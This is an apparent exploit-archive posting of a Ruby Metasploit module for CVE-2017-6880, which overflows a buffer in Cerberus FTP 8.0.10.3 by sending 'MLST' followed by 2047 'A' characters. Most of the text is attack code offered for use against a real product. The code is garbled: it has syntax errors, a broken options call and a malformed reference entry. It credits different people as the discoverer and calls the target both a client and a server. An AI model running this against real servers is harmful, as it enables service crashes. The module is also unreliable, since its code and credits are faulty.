Cerberus FTP 8.0.10.3 MLST Buffer Overflow

This Metasploit module exploits a buffer overflow in the Cerberus FTP client version 8.0.10.3 that is triggered by sending a bad char "A" in the command "MLST".


MD5 | e19cd9f6555939f55e75256edfab627d

#!/usr/share/ruby

#[+] Title: Cerberus FTP Server 8.0.10.3 a 'MLST' Remote Buffer Overflow
#[+] Credits / Discovery: Nassim Asrir
#[+] Author Contact: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/
#[+] Metasploit Module Author : Souhardya Sardar
#[+] Metasploit Module Author Contact: github.com/Souhardya | [email protected]
#[+] Author Company: Henceforth
#[+] CVE: CVE-2017-6880

#Vendor:
#===============
#
#https://www.cerberusftp.com/


#Download:
#===========
#
#https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)


#Vulnerability Type:
#===================
#
#Remote Buffer Overflow.



# ----------------------------
# Module Dependencies/requires
# ----------------------------

require 'msf/core'

# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

# -----------------------------------------
# Initialize information
# -----------------------------------------

def initialize(info = {})
super(update_info(info,
'Name' => 'Cerber FTP Remote Buffer Overflow ',
'Description' => %q{
This module exploits a buffer overflow in the Cerber FTP client that is triggered
by sending a bad char "A" in the command "MLST" (2047) .
},

'Author' =>
[
'Module Author And Bug Discovered by : Peter Baris',
'Coded by : Souhardya Sardar (github.com/Souhardya)', #metasploit module :)
'Thanks to : Nidhish Pandya ', #auditing:)


],
'License' => NONE,
'Platform' => ['win']

'References' =>
[
[ 'CVE', 'CVE-2017-6880' ],
[ Reference code taken from original POC located here :- https://www.exploit-db.com/exploits/41620/ ]

]))

register_optionsOptPort.new('SRVPORT', [true, "The remote FTP server port", 21])
], self.class)
deregister_options('FTPUSER', 'FTPPASS')
end

def exploit
connect

payload = "A"*2047

print_status("Trying to connect to target server {target.name...")


sock.put('MLST ' + payload + '\r\n')

handler
disconnect
end

end

Related Posts